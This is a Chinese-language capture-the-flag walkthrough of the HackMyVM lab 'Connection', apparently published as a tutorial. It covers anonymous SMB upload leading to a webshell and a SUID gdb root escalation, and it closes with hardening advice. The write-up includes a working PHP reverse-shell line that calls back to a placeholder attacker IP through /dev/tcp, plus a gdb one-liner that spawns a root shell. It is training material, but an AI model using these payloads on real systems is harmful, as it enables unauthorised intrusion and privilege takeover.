hackmyvm系列6——connection
字数 986 2025-08-12 11:34:24
HackMyVM系列6——Connection靶场实战教学文档
一、靶场概述
本靶场名称为"Connection",是HackMyVM系列的第6个靶机。通过SMB服务漏洞获取初始访问权限,再利用GDB的SUID特性进行权限提升。
二、信息收集阶段
1. 网络扫描
使用netdiscover发现目标IP:
netdiscover -r 192.168.56.0/24
2. 端口扫描与服务识别
使用Nmap进行详细扫描:
nmap -sV -Pn -sC 192.168.56.151
扫描结果:
- 开放端口:
- 22/tcp - SSH
- 80/tcp - HTTP
- 445/tcp - SMB
3. 目录扫描
使用Gobuster进行目录爆破:
gobuster dir -u http://192.168.56.151 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt,html
4. SMB服务探测
检查SMB共享:
smbclient -L 192.168.56.151
发现share共享允许匿名访问。
三、初始访问获取
1. 访问SMB共享
连接SMB共享:
smbclient \\\\192.168.56.151\\share
2. 文件上传测试
发现可以上传文件到SMB共享,测试是否同步到Web目录:
put shell.php
验证文件是否可通过Web访问:
http://192.168.56.151/shell.php
3. 获取Webshell
上传PHP反向shell代码:
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/攻击者IP/端口 0>&1'"); ?>
在攻击机监听:
nc -lvnp 端口
四、权限提升
1. 稳定shell获取
获取基本shell后,升级为稳定TTY:
python3 -c "import pty;pty.spawn('/bin/bash');"
2. SUID文件查找
查找具有SUID权限的文件:
find / -perm -4000 -type f 2>/dev/null
发现/usr/bin/gdb具有SUID权限。
3. 利用GDB提权
使用GDB进行提权:
./gdb -nx -ex 'python import os; os.execl("/bin/sh", "sh", "-p")' -ex quit
解释:
-nx:不加载任何初始化文件-ex:执行GDB命令- 通过Python代码调用
os.execl生成一个具有root权限的shell
五、关键点总结
- SMB匿名访问:靶机SMB服务配置不当,允许匿名用户上传文件
- 文件上传漏洞:SMB上传的文件同步到Web目录,导致Webshell上传
- GDB SUID提权:GDB被配置为SUID,可利用其执行任意命令获取root权限
六、防御建议
-
SMB服务安全配置:
- 禁用匿名访问
- 设置适当权限
- 启用SMB签名
-
Web目录权限控制:
- Web目录不应允许SMB写入
- 设置严格的目录权限
-
SUID管理:
- 定期审查SUID文件
- 移除不必要的SUID权限
- 特别是调试工具如GDB不应设置SUID
-
系统加固:
- 定期更新系统
- 最小化安装原则
- 启用SELinux/AppArmor等安全模块
七、扩展思考
- 如果SMB不允许匿名访问,还可以尝试哪些攻击路径?
- 除了GDB,还有哪些SUID程序常被用于提权?
- 如何检测系统是否存在类似的配置问题?